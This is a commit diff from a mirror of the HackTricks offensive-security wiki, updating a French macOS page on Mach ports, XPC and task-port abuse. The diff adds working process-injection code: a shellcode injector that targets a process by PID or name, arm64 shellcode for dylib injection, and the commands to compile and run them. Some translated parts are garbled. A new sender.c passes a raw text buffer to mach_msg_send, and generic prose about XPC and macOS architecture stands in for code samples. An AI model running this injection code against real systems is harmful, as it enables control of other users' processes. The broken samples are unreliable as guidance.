mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-17 06:28:27 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
45fe6946eb
commit
8f632b29d9
5 changed files with 272 additions and 207 deletions
|
@ -23,11 +23,12 @@ Les droits de port, qui définissent les opérations qu'une tâche peut effectue
|
|||
* Le **droit de réception**, qui permet de recevoir les messages envoyés au port. Les ports Mach sont des files d'attente MPSC (multiple-producteur, unique-consommateur), ce qui signifie qu'il ne peut y avoir qu'un seul droit de réception pour chaque port dans tout le système (contrairement aux tubes, où plusieurs processus peuvent tous détenir des descripteurs de fichier pour l'extrémité de lecture d'un tube).
|
||||
* Une **tâche avec le droit de réception** peut recevoir des messages et **créer des droits d'envoi**, ce qui lui permet d'envoyer des messages. À l'origine, seule la **propre tâche a le droit de réception sur son port**.
|
||||
* Le **droit d'envoi**, qui permet d'envoyer des messages au port.
|
||||
* Le droit d'envoi peut être **cloné**, de sorte qu'une tâche possédant un droit d'envoi peut cloner le droit et **le donner à une troisième tâche**.
|
||||
* Le **droit d'envoi unique**, qui permet d'envoyer un seul message au port, puis disparaît.
|
||||
* Le **droit d'ensemble de ports**, qui indique un _ensemble de ports_ plutôt qu'un seul port. Le défilement d'un message à partir d'un ensemble de ports défile un message à partir de l'un des ports qu'il contient. Les ensembles de ports peuvent être utilisés pour écouter plusieurs ports simultanément, un peu comme `select`/`poll`/`epoll`/`kqueue` dans Unix.
|
||||
* Le **droit de jeu de ports**, qui indique un _ensemble de ports_ plutôt qu'un seul port. Le défilement d'un message à partir d'un ensemble de ports défile un message à partir de l'un des ports qu'il contient. Les ensembles de ports peuvent être utilisés pour écouter plusieurs ports simultanément, un peu comme `select`/`poll`/`epoll`/`kqueue` dans Unix.
|
||||
* Le **nom mort**, qui n'est pas un droit de port réel, mais simplement un espace réservé. Lorsqu'un port est détruit, tous les droits de port existants sur le port se transforment en noms morts.
|
||||
|
||||
**Les tâches peuvent transférer des droits d'ENVOI à d'autres**, leur permettant d'envoyer des messages en retour. **Les droits d'ENVOI peuvent également être clonés, de sorte qu'une tâche peut dupliquer et donner le droit à une troisième tâche**. Cela, combiné à un processus intermédiaire appelé le **serveur d'amorçage**, permet une communication efficace entre les tâches.
|
||||
**Les tâches peuvent transférer des droits d'ENVOI à d'autres**, leur permettant d'envoyer des messages en retour. **Les droits d'ENVOI peuvent également être clonés**, de sorte qu'une tâche peut dupliquer et donner le droit à une troisième tâche. Cela, combiné à un processus intermédiaire appelé **serveur d'amorçage**, permet une communication efficace entre les tâches.
|
||||
|
||||
#### Étapes :
|
||||
|
||||
|
@ -36,7 +37,7 @@ Comme mentionné, pour établir le canal de communication, le **serveur d'amorç
|
|||
1. La tâche **A** lance un **nouveau port**, obtenant un **droit de réception** dans le processus.
|
||||
2. La tâche **A**, étant le détenteur du droit de réception, **génère un droit d'envoi pour le port**.
|
||||
3. La tâche **A** établit une **connexion** avec le **serveur d'amorçage**, fournissant le **nom de service du port** et le **droit d'envoi** via une procédure appelée enregistrement d'amorçage.
|
||||
4. La tâche **B** interagit avec le **serveur d'amorçage** pour exécuter une **recherche d'amorçage pour le service**. Si cela réussit, le **serveur duplique le droit d'envoi** reçu de la tâche A et **le transmet à la tâche B**.
|
||||
4. La tâche **B** interagit avec le **serveur d'amorçage** pour exécuter une **recherche d'amorçage pour le service**. Si elle réussit, le **serveur duplique le droit d'envoi** reçu de la tâche A et **le transmet à la tâche B**.
|
||||
5. Une fois qu'il a acquis un droit d'envoi, la tâche **B** est capable de **formuler** un **message** et de l'envoyer **à la tâche A**.
|
||||
|
||||
Le serveur d'amorçage ne peut pas authentifier le nom de service revendiqué par une tâche. Cela signifie qu'une **tâche** pourrait potentiellement **usurper n'importe quelle tâche système**, en revendiquant faussement un nom de service d'autorisation, puis en approuvant chaque demande.
|
||||
|
@ -47,10 +48,29 @@ Pour ces services prédéfinis, le **processus de recherche diffère légèremen
|
|||
|
||||
* La tâche **B** lance une **recherche d'amorçage** pour un nom de service.
|
||||
* **launchd** vérifie si la tâche est en cours d'exécution et si ce n'est pas le cas, la **démarre**.
|
||||
* La tâche **A** (le service) effectue un **enregistrement d'amorçage**. Ici, le **serveur d'amorçage** crée un droit d'envoi, le conserve et **transfère le droit de réception à la tâche A**.
|
||||
* La tâche **A** (le service) effectue un **enregistrement de vérification d'amorçage**. Ici, le **serveur d'amorçage** crée un droit d'envoi, le conserve et **transfère le droit de réception à la tâche A**.
|
||||
* launchd duplique le **droit d'envoi et l'envoie à la tâche B**.
|
||||
|
||||
Cependant, ce processus ne s'applique qu'aux tâches système prédéfinies. Les tâches non système fonctionnent toujours comme décrit initialement, ce qui pourrait potentiellement permettre l'usurpation.
|
||||
### Services Mach
|
||||
|
||||
Les noms spécifiés dans les applications situées dans les répertoires protégés SIP mentionnés précédemment ne peuvent pas être enregistrés par d'autres processus.
|
||||
|
||||
Par exemple, `/System/Library/LaunchAgents/com.apple.xpc.loginitemregisterd.plist` enregistre le nom `com.apple.xpc.loginitemregisterd`:
|
||||
```json
|
||||
plutil -p com.apple.xpc.loginitemregisterd.plist
|
||||
{
|
||||
"EnablePressuredExit" => 1
|
||||
"Label" => "com.apple.xpc.loginitemregisterd"
|
||||
"MachServices" => {
|
||||
"com.apple.xpc.loginitemregisterd" => 1
|
||||
}
|
||||
"ProcessType" => "Adaptive"
|
||||
"Program" => "/usr/libexec/loginitemregisterd"
|
||||
}
|
||||
```
|
||||
Si vous essayez de l'enregistrer avec un code tel que celui-ci, vous ne pourrez pas.
|
||||
|
||||
### Exemple de code
|
||||
|
||||
Notez comment l'**expéditeur** **alloue** un port, crée un **droit d'envoi** pour le nom `org.darlinghq.example` et l'envoie au **serveur d'amorçage** tandis que l'expéditeur demande le **droit d'envoi** de ce nom et l'utilise pour **envoyer un message**.
|
||||
|
@ -122,59 +142,47 @@ message.some_text[9] = 0;
|
|||
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
|
||||
}
|
||||
```
|
||||
{% tab title="sender.c" %}
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/ipc.h>
|
||||
#include <sys/msg.h>
|
||||
#include <mach/mach.h>
|
||||
|
||||
#define MAX_TEXT 512
|
||||
#define BUFFER_SIZE 100
|
||||
|
||||
struct msgbuf {
|
||||
long mtype;
|
||||
char mtext[MAX_TEXT];
|
||||
};
|
||||
int main(int argc, char** argv) {
|
||||
mach_port_t server_port;
|
||||
kern_return_t kr;
|
||||
char buffer[BUFFER_SIZE];
|
||||
|
||||
int main() {
|
||||
int msgid;
|
||||
struct msgbuf msg;
|
||||
|
||||
// Create a message queue
|
||||
msgid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
if (msgid == -1) {
|
||||
perror("msgget");
|
||||
// Create a send right to the server port
|
||||
kr = bootstrap_look_up(bootstrap_port, "com.example.server", &server_port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to look up server port: %s\n", mach_error_string(kr));
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Set the message type
|
||||
msg.mtype = 1;
|
||||
|
||||
// Set the message text
|
||||
strncpy(msg.mtext, "Hello, receiver!", MAX_TEXT);
|
||||
|
||||
// Send the message
|
||||
if (msgsnd(msgid, &msg, sizeof(msg.mtext), 0) == -1) {
|
||||
perror("msgsnd");
|
||||
// Send a message to the server
|
||||
strcpy(buffer, "Hello, server!");
|
||||
kr = mach_msg_send((mach_msg_header_t*)buffer);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to send message: %s\n", mach_error_string(kr));
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("Message sent: %s\n", msg.mtext);
|
||||
|
||||
// Remove the message queue
|
||||
if (msgctl(msgid, IPC_RMID, NULL) == -1) {
|
||||
perror("msgctl");
|
||||
// Receive a reply from the server
|
||||
kr = mach_msg_receive((mach_msg_header_t*)buffer);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to receive reply: %s\n", mach_error_string(kr));
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("Received reply: %s\n", buffer);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="receiver.c" %}
|
||||
|
@ -236,18 +244,18 @@ printf("Sent a message\n");
|
|||
|
||||
* **Port hôte**: Si un processus a le **privilège d'envoi** sur ce port, il peut obtenir des **informations** sur le **système** (par exemple, `host_processor_info`).
|
||||
* **Port privilégié de l'hôte**: Un processus avec le droit d'**envoi** sur ce port peut effectuer des **actions privilégiées** telles que le chargement d'une extension du noyau. Le **processus doit être root** pour obtenir cette permission.
|
||||
* De plus, pour appeler l'API **`kext_request`**, il est nécessaire de disposer de l'autorisation **`com.apple.private.kext`**, qui n'est accordée qu'aux binaires Apple.
|
||||
* De plus, pour appeler l'API **`kext_request`**, il est nécessaire de disposer d'autres autorisations **`com.apple.private.kext*`** qui ne sont accordées qu'aux binaires Apple.
|
||||
* **Port du nom de la tâche**: Une version non privilégiée du _port de la tâche_. Il fait référence à la tâche, mais ne permet pas de la contrôler. La seule chose qui semble être disponible à travers lui est `task_info()`.
|
||||
* **Port de la tâche** (alias port du noyau)**:** Avec l'autorisation d'envoi sur ce port, il est possible de contrôler la tâche (lecture/écriture de mémoire, création de threads...).
|
||||
* Appelez `mach_task_self()` pour **obtenir le nom** de ce port pour la tâche appelante. Ce port n'est **hérité** qu'à travers **`exec()`** ; une nouvelle tâche créée avec `fork()` obtient un nouveau port de tâche (dans un cas particulier, une tâche obtient également un nouveau port de tâche après `exec()` dans un binaire suid). La seule façon de créer une tâche et d'obtenir son port est d'effectuer la ["danse de l'échange de port"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) tout en effectuant un `fork()`.
|
||||
* Appelez `mach_task_self()` pour **obtenir le nom** de ce port pour la tâche appelante. Ce port n'est **hérité** qu'à travers **`exec()`**; une nouvelle tâche créée avec `fork()` obtient un nouveau port de tâche (dans un cas particulier, une tâche obtient également un nouveau port de tâche après `exec()` dans un binaire suid). La seule façon de créer une tâche et d'obtenir son port est d'effectuer la ["danse de l'échange de port"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) tout en effectuant un `fork()`.
|
||||
* Voici les restrictions d'accès au port (à partir de `macos_task_policy` du binaire `AppleMobileFileIntegrity`):
|
||||
* Si l'application a l'**autorisation `com.apple.security.get-task-allow`**, les processus de l'**utilisateur peuvent accéder au port de la tâche** (généralement ajouté par Xcode pour le débogage). Le processus de **notarisation** ne le permettra pas pour les versions de production.
|
||||
* Les applications ayant l'**autorisation `com.apple.system-task-ports`** peuvent obtenir le **port de la tâche pour n'importe quel** processus, sauf le noyau. Dans les anciennes versions, cela s'appelait **`task_for_pid-allow`**. Cela n'est accordé qu'aux applications Apple.
|
||||
* Si l'application a l'autorisation **`com.apple.security.get-task-allow`**, les processus de **même utilisateur peuvent accéder au port de la tâche** (communément ajoutée par Xcode pour le débogage). Le processus de **notarisation** ne le permettra pas pour les versions de production.
|
||||
* Les applications ayant l'autorisation **`com.apple.system-task-ports`** peuvent obtenir le **port de la tâche pour n'importe quel** processus, sauf le noyau. Dans les anciennes versions, cela s'appelait **`task_for_pid-allow`**. Cela n'est accordé qu'aux applications Apple.
|
||||
* **Root peut accéder aux ports de tâche** des applications **non** compilées avec un **runtime renforcé** (et non provenant d'Apple).
|
||||
|
||||
### Injection de code Shell via le port de la tâche 
|
||||
### Injection de shellcode dans un thread via le port de la tâche 
|
||||
|
||||
Vous pouvez obtenir un code shell à partir de :
|
||||
Vous pouvez obtenir un shellcode à partir de :
|
||||
|
||||
{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
|
||||
[arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||
|
@ -258,12 +266,28 @@ Vous pouvez obtenir un code shell à partir de :
|
|||
```objectivec
|
||||
// clang -framework Foundation mysleep.m -o mysleep
|
||||
// codesign --entitlements entitlements.plist -s - mysleep
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
double performMathOperations() {
|
||||
double result = 0;
|
||||
for (int i = 0; i < 10000; i++) {
|
||||
result += sqrt(i) * tan(i) - cos(i);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo] processIdentifier]);
|
||||
[NSThread sleepForTimeInterval:99999];
|
||||
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
|
||||
processIdentifier]);
|
||||
while (true) {
|
||||
[NSThread sleepForTimeInterval:5];
|
||||
|
||||
performMathOperations(); // Silent action
|
||||
|
||||
[NSThread sleepForTimeInterval:5];
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
@ -285,7 +309,7 @@ return 0;
|
|||
|
||||
<details>
|
||||
|
||||
<summary>injector.m</summary>
|
||||
<summary>sc_injector.m</summary>
|
||||
```objectivec
|
||||
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
|
||||
|
||||
|
@ -428,14 +452,54 @@ return (-3);
|
|||
return (0);
|
||||
}
|
||||
|
||||
pid_t pidForProcessName(NSString *processName) {
|
||||
NSArray *arguments = @[@"pgrep", processName];
|
||||
NSTask *task = [[NSTask alloc] init];
|
||||
[task setLaunchPath:@"/usr/bin/env"];
|
||||
[task setArguments:arguments];
|
||||
|
||||
NSPipe *pipe = [NSPipe pipe];
|
||||
[task setStandardOutput:pipe];
|
||||
|
||||
NSFileHandle *file = [pipe fileHandleForReading];
|
||||
|
||||
[task launch];
|
||||
|
||||
NSData *data = [file readDataToEndOfFile];
|
||||
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
|
||||
|
||||
return (pid_t)[string integerValue];
|
||||
}
|
||||
|
||||
BOOL isStringNumeric(NSString *str) {
|
||||
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
|
||||
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
|
||||
return r.location == NSNotFound;
|
||||
}
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
if (argc < 2) {
|
||||
NSLog(@"Usage: %s <pid>", argv[0]);
|
||||
NSLog(@"Usage: %s <pid or process name>", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
pid_t pid = atoi(argv[1]);
|
||||
NSString *arg = [NSString stringWithUTF8String:argv[1]];
|
||||
pid_t pid;
|
||||
|
||||
if (isStringNumeric(arg)) {
|
||||
pid = [arg intValue];
|
||||
} else {
|
||||
pid = pidForProcessName(arg);
|
||||
if (pid == 0) {
|
||||
NSLog(@"Error: Process named '%@' not found.", arg);
|
||||
return 1;
|
||||
}
|
||||
else{
|
||||
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
|
||||
}
|
||||
}
|
||||
|
||||
inject(pid);
|
||||
}
|
||||
|
||||
|
@ -445,15 +509,15 @@ return 0;
|
|||
</details>
|
||||
```bash
|
||||
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||
./inject <pid-of-mysleep>
|
||||
./inject <pi or string>
|
||||
```
|
||||
### Injection de dylib via le port de tâche
|
||||
### Injection de dylib dans un thread via le port de tâche
|
||||
|
||||
Dans macOS, les **threads** peuvent être manipulés via **Mach** ou en utilisant l'API **posix `pthread`**. Le thread que nous avons généré lors de l'injection précédente a été généré en utilisant l'API Mach, donc **il n'est pas conforme à posix**.
|
||||
|
||||
Il était possible d'**injecter un simple shellcode** pour exécuter une commande car cela **ne nécessitait pas de travailler avec des APIs conformes à posix**, seulement avec Mach. Des **injections plus complexes** nécessiteraient que le **thread** soit également **conforme à posix**.
|
||||
Il était possible d'**injecter un simple shellcode** pour exécuter une commande car cela ne nécessitait pas de travailler avec des API conformes à posix, seulement avec Mach. Des **injections plus complexes** nécessiteraient que le **thread** soit également conforme à posix.
|
||||
|
||||
Par conséquent, pour **améliorer le shellcode**, il devrait appeler **`pthread_create_from_mach_thread`** qui va **créer un pthread valide**. Ensuite, ce nouveau pthread pourrait **appeler dlopen** pour **charger notre dylib** à partir du système.
|
||||
Par conséquent, pour **améliorer le thread**, il devrait appeler **`pthread_create_from_mach_thread`** qui va **créer un pthread valide**. Ensuite, ce nouveau pthread pourrait **appeler dlopen** pour **charger une dylib** à partir du système, donc au lieu d'écrire un nouveau shellcode pour effectuer différentes actions, il est possible de charger des bibliothèques personnalisées.
|
||||
|
||||
Vous pouvez trouver des **exemples de dylibs** dans (par exemple celui qui génère un journal que vous pouvez ensuite écouter) :
|
||||
|
||||
|
@ -515,7 +579,7 @@ mach_msg_type_number_t dataCnt
|
|||
|
||||
char injectedCode[] =
|
||||
|
||||
"\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
|
||||
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
|
||||
|
||||
// Call pthread_set_self
|
||||
|
||||
|
@ -733,7 +797,9 @@ else
|
|||
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
||||
./inject <pid-of-mysleep> </path/to/lib.dylib>
|
||||
```
|
||||
### Injection de thread via le port de tâche <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
|
||||
### Détournement de thread via le port de tâche <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
|
||||
|
||||
Dans cette technique, un thread du processus est détourné :
|
||||
|
||||
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md" %}
|
||||
[macos-thread-injection-via-task-port.md](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md)
|
||||
|
@ -743,7 +809,7 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
|||
|
||||
### Informations de base
|
||||
|
||||
XPC, qui signifie Communication inter-processus XNU (le noyau utilisé par macOS), est un framework pour la **communication entre processus** sur macOS et iOS. XPC fournit un mécanisme pour effectuer des **appels de méthode asynchrones et sécurisés entre différents processus** du système. Il fait partie du paradigme de sécurité d'Apple, permettant la **création d'applications avec des privilèges séparés** où chaque **composant** s'exécute avec **seulement les autorisations nécessaires** pour effectuer son travail, limitant ainsi les dommages potentiels d'un processus compromis.
|
||||
XPC, qui signifie Communication inter-processus XNU (le noyau utilisé par macOS), est un framework pour la **communication entre les processus** sur macOS et iOS. XPC fournit un mécanisme pour effectuer des **appels de méthode asynchrones et sécurisés entre différents processus** du système. Il fait partie du paradigme de sécurité d'Apple, permettant la **création d'applications avec des privilèges séparés** où chaque **composant** s'exécute avec **seulement les autorisations nécessaires** pour effectuer son travail, limitant ainsi les dommages potentiels causés par un processus compromis.
|
||||
|
||||
XPC utilise une forme de communication inter-processus (IPC), qui est un ensemble de méthodes permettant à différents programmes s'exécutant sur le même système d'échanger des données.
|
||||
|
||||
|
@ -753,13 +819,13 @@ Les principaux avantages de XPC sont les suivants :
|
|||
2. **Stabilité** : XPC aide à isoler les plantages dans le composant où ils se produisent. Si un processus plante, il peut être redémarré sans affecter le reste du système.
|
||||
3. **Performance** : XPC permet une concurrence facile, car différentes tâches peuvent être exécutées simultanément dans différents processus.
|
||||
|
||||
Le seul **inconvénient** est que **séparer une application en plusieurs processus** qui communiquent via XPC est **moins efficace**. Mais dans les systèmes d'aujourd'hui, cela n'est presque pas perceptible et les avantages sont bien meilleurs.
|
||||
Le seul **inconvénient** est que **séparer une application en plusieurs processus** et les faire communiquer via XPC est **moins efficace**. Mais dans les systèmes d'aujourd'hui, cela n'est presque pas perceptible et les avantages sont bien meilleurs.
|
||||
|
||||
Un exemple peut être observé dans QuickTime Player, où un composant utilisant XPC est responsable du décodage vidéo. Le composant est spécifiquement conçu pour effectuer des tâches de calcul, ainsi, en cas de violation, il ne fournirait aucun gain utile à l'attaquant, tel que l'accès aux fichiers ou au réseau.
|
||||
|
||||
### Services XPC spécifiques à l'application
|
||||
|
||||
Les composants XPC d'une application se trouvent **à l'intérieur de l'application elle-même**. Par exemple, dans Safari, vous pouvez les trouver dans **`/Applications/Safari.app/Contents/XPCServices`**. Ils ont l'extension **`.xpc`** (comme **`com.apple.Safari.SandboxBroker.xpc`**) et sont **également des bundles** avec le binaire principal à l'intérieur : `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker`
|
||||
Les composants XPC d'une application se trouvent **à l'intérieur de l'application elle-même**. Par exemple, dans Safari, vous pouvez les trouver dans **`/Applications/Safari.app/Contents/XPCServices`**. Ils ont l'extension **`.xpc`** (comme **`com.apple.Safari.SandboxBroker.xpc`**) et sont également des bundles avec le binaire principal à l'intérieur : `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker`
|
||||
|
||||
Comme vous pouvez le penser, un **composant XPC aura des autorisations et des privilèges différents** des autres composants XPC ou du binaire principal de l'application. SAUF si un service XPC est configuré avec [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession) défini sur "True" dans son fichier **Info.plist**. Dans ce cas, le service XPC s'exécutera dans la même session de sécurité que l'application qui l'a appelé.
|
||||
|
||||
|
@ -884,15 +950,22 @@ return 0;
|
|||
```
|
||||
{% tab title="xpc_client.c" %}
|
||||
|
||||
Le fichier `xpc_client.c` est un exemple de code source en langage C qui illustre l'utilisation de l'API XPC pour la communication inter-processus (IPC) sur macOS. L'API XPC permet aux processus de communiquer entre eux de manière sécurisée et efficace en utilisant des messages structurés.
|
||||
Le fichier `xpc_client.c` est un exemple de code source en langage C qui illustre l'utilisation de l'IPC (Inter-Process Communication) sur macOS. L'IPC est un mécanisme permettant à différents processus de communiquer entre eux, que ce soit sur la même machine ou sur des machines différentes.
|
||||
|
||||
Dans cet exemple, un client XPC est créé et utilisé pour envoyer un message à un service XPC distant. Le client XPC utilise la fonction `xpc_connection_create` pour créer une connexion vers le service distant, puis utilise la fonction `xpc_dictionary_create` pour créer un dictionnaire XPC contenant les données à envoyer.
|
||||
Dans cet exemple, le code montre comment créer un client XPC (XPC est un framework d'Apple pour l'IPC) qui se connecte à un service XPC distant. Le client envoie ensuite un message au service distant et attend une réponse.
|
||||
|
||||
Une fois que le dictionnaire XPC est créé, le client XPC utilise la fonction `xpc_connection_send_message` pour envoyer le message au service distant. Le service distant peut ensuite recevoir le message en utilisant une méthode similaire.
|
||||
Le code commence par inclure les en-têtes nécessaires, puis il définit une fonction `main` qui effectue les étapes suivantes :
|
||||
|
||||
Il est important de noter que l'API XPC offre des mécanismes de sécurité intégrés pour protéger la communication inter-processus. Par exemple, les connexions XPC peuvent être configurées pour utiliser des autorisations spécifiques, et les messages XPC peuvent être chiffrés pour assurer la confidentialité des données.
|
||||
1. Création d'une connexion XPC en utilisant la fonction `xpc_connection_create` pour établir une connexion avec le service distant.
|
||||
2. Définition d'un gestionnaire de réception de messages en utilisant la fonction `xpc_connection_set_event_handler` pour spécifier la fonction `handle_event` comme gestionnaire.
|
||||
3. Activation de la connexion XPC en utilisant la fonction `xpc_connection_resume` pour démarrer la communication avec le service distant.
|
||||
4. Création d'un message XPC en utilisant la fonction `xpc_dictionary_create` pour créer un dictionnaire XPC qui contient les données à envoyer.
|
||||
5. Envoi du message XPC en utilisant la fonction `xpc_connection_send_message` pour envoyer le message au service distant.
|
||||
6. Attente d'une réponse en utilisant la fonction `dispatch_main` pour maintenir le processus en cours d'exécution jusqu'à ce qu'une réponse soit reçue.
|
||||
|
||||
Ce fichier `xpc_client.c` est un exemple de base pour comprendre comment utiliser l'API XPC pour la communication inter-processus sur macOS. Il peut être utilisé comme point de départ pour développer des applications qui nécessitent une communication sécurisée entre les processus.
|
||||
La fonction `handle_event` est définie pour gérer les événements de réception de messages. Dans cet exemple, elle affiche simplement le contenu du message reçu.
|
||||
|
||||
Ce code est un exemple simplifié pour illustrer le fonctionnement de l'IPC sur macOS. Dans un scénario réel, des mesures de sécurité supplémentaires devraient être prises pour protéger les communications et empêcher les attaques potentielles.
|
||||
|
||||
{% endtab %}
|
||||
```c
|
||||
|
@ -1043,25 +1116,25 @@ return 0;
|
|||
```
|
||||
# Architecture de macOS
|
||||
|
||||
macOS est le système d'exploitation utilisé sur les ordinateurs Mac d'Apple. Il est basé sur le noyau XNU, qui est un noyau hybride composé du noyau Mach et du noyau BSD. macOS utilise une architecture en couches pour gérer les différents aspects du système d'exploitation.
|
||||
macOS est le système d'exploitation utilisé sur les ordinateurs Mac d'Apple. Il est basé sur le noyau XNU, qui est un noyau hybride composé du noyau Mach et du noyau BSD. Le noyau XNU fournit les fonctionnalités de base du système d'exploitation, telles que la gestion de la mémoire, la gestion des processus et la gestion des fichiers.
|
||||
|
||||
## Couche utilisateur
|
||||
macOS utilise également un modèle d'architecture en couches pour organiser les différents composants du système d'exploitation. Les couches principales comprennent :
|
||||
|
||||
La couche utilisateur de macOS est responsable de l'exécution des applications et des services. Elle comprend des frameworks tels que Cocoa et Carbon, qui fournissent des API pour le développement d'applications. Les applications macOS sont généralement écrites en Objective-C ou en Swift.
|
||||
- **Couche de l'interface utilisateur** : Cette couche est responsable de l'affichage des éléments graphiques de l'interface utilisateur, tels que les fenêtres, les boutons et les menus. Elle utilise le framework AppKit pour fournir ces fonctionnalités.
|
||||
|
||||
## Couche noyau
|
||||
- **Couche du système** : Cette couche est responsable de la gestion des ressources système, telles que la mémoire, les fichiers et les périphériques. Elle utilise le framework CoreServices pour fournir ces fonctionnalités.
|
||||
|
||||
La couche noyau de macOS est responsable de la gestion des ressources matérielles et logicielles du système. Elle comprend le noyau XNU, qui fournit des fonctionnalités telles que la gestion de la mémoire, la gestion des processus et la gestion des fichiers. Le noyau XNU est également responsable de la mise en œuvre de la sécurité et des mécanismes d'intercommunication entre les processus.
|
||||
- **Couche du noyau** : Cette couche est responsable de la gestion des opérations de bas niveau, telles que la gestion des processus, la gestion de la mémoire et la gestion des fichiers. Elle utilise le noyau XNU pour fournir ces fonctionnalités.
|
||||
|
||||
## IPC (Inter-Process Communication)
|
||||
macOS utilise également le mécanisme d'IPC (Inter-Process Communication) pour permettre la communication entre les différents processus du système d'exploitation. L'IPC peut être utilisé pour partager des données, envoyer des messages et exécuter des actions entre les processus. Les principaux mécanismes d'IPC utilisés dans macOS sont les suivants :
|
||||
|
||||
L'IPC (Inter-Process Communication) est un mécanisme utilisé par les processus pour communiquer entre eux. macOS prend en charge plusieurs mécanismes d'IPC, tels que les sockets, les tubes, les signaux et les files de messages. Ces mécanismes permettent aux processus de partager des données et de coopérer les uns avec les autres.
|
||||
- **Mach ports** : Les Mach ports sont des canaux de communication utilisés pour envoyer des messages entre les processus. Chaque processus a un ensemble de ports Mach qui lui sont attribués, et il peut envoyer des messages à d'autres processus en utilisant ces ports.
|
||||
|
||||
## Sécurité et élévation de privilèges
|
||||
- **Sockets** : Les sockets sont des points de terminaison de communication utilisés pour envoyer des données entre les processus. Les sockets peuvent être utilisés pour la communication locale (sockets de domaine UNIX) ou pour la communication réseau (sockets TCP/IP).
|
||||
|
||||
macOS met en œuvre plusieurs mécanismes de sécurité pour protéger le système contre les attaques. Cela comprend des fonctionnalités telles que le chiffrement des données, les autorisations de fichiers et les mécanismes de contrôle d'accès. Cependant, il est toujours possible d'exploiter des vulnérabilités pour élever les privilèges et obtenir un accès non autorisé au système.
|
||||
- **Apple events** : Les Apple events sont des messages utilisés pour envoyer des commandes et des événements entre les applications. Les Apple events peuvent être utilisés pour automatiser des tâches et permettre la communication entre les applications.
|
||||
|
||||
Dans les prochains chapitres, nous explorerons différentes techniques de sécurité et d'élévation de privilèges sur macOS. Nous examinerons les vulnérabilités courantes et les méthodes d'exploitation associées. Nous discuterons également des meilleures pratiques pour renforcer la sécurité de macOS et prévenir les attaques.
|
||||
La compréhension de l'architecture de macOS et des mécanismes d'IPC est essentielle pour comprendre le fonctionnement interne du système d'exploitation et pour développer des techniques d'escalade de privilèges et de sécurité.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||
|
@ -1114,7 +1187,7 @@ sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
